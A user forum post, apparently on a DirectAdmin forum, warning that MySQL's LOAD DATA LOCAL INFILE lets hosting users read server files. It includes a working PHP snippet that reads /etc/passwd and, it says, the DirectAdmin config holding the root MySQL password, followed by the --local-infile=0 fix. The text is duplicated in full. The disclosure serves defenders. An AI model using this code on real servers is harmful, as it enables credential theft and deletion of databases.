duke28
Verified User
hi,
do what your want with this post on this forum
but the mysql by default of directadmin
have a big issue..
with mysql and a database with a table, we can find the root sql password ( da_admin )
we can read this : /usr/local/directadmin/conf/mysql.conf
with this command on mysql :
with a file php with like this code =
<?php
//file_get_contents('/etc/passwd');
$l = mysql_connect("localhost", "xxxxxx", "xxxxxxxxx");
mysql_select_db('syscall_qtm',$l);
//mysql_query("DELETE FROM a");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE xxxx_xxxx.a");
$result = mysql_query("SELECT a FROM a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>
change juste xxxx with all you need, and you can read all file you want on the server..
for protect this issue you need do this :
cd /etc/rc.d/init.d
pico mysqld
and add this to the START LINE :
--local-infile=0
and restart mysqld..
THIS IS A BIG ISSUE..
ANYBODY CAN FIND YOUR DA_ADMIN PASSWORD FOR MYSQL AND DELETE ALL DATABASE ON YOUR SERVER..
the command LOAD DATA LOCAL INFILE need to be disabled in mysql.. because its make no sense..
the example is for /etc/passwd , but all users with this command + mysql can read /usr/local/directadmin/conf/mysql.conf with my example...
( sorry for my english )
do what your want with this post on this forum
but the mysql by default of directadmin
have a big issue..
with mysql and a database with a table, we can find the root sql password ( da_admin )
we can read this : /usr/local/directadmin/conf/mysql.conf
with this command on mysql :
with a file php with like this code =
<?php
//file_get_contents('/etc/passwd');
$l = mysql_connect("localhost", "xxxxxx", "xxxxxxxxx");
mysql_select_db('syscall_qtm',$l);
//mysql_query("DELETE FROM a");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE xxxx_xxxx.a");
$result = mysql_query("SELECT a FROM a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>
change juste xxxx with all you need, and you can read all file you want on the server..
for protect this issue you need do this :
cd /etc/rc.d/init.d
pico mysqld
and add this to the START LINE :
--local-infile=0
and restart mysqld..
THIS IS A BIG ISSUE..
ANYBODY CAN FIND YOUR DA_ADMIN PASSWORD FOR MYSQL AND DELETE ALL DATABASE ON YOUR SERVER..
the command LOAD DATA LOCAL INFILE need to be disabled in mysql.. because its make no sense..
the example is for /etc/passwd , but all users with this command + mysql can read /usr/local/directadmin/conf/mysql.conf with my example...
( sorry for my english )
Last edited: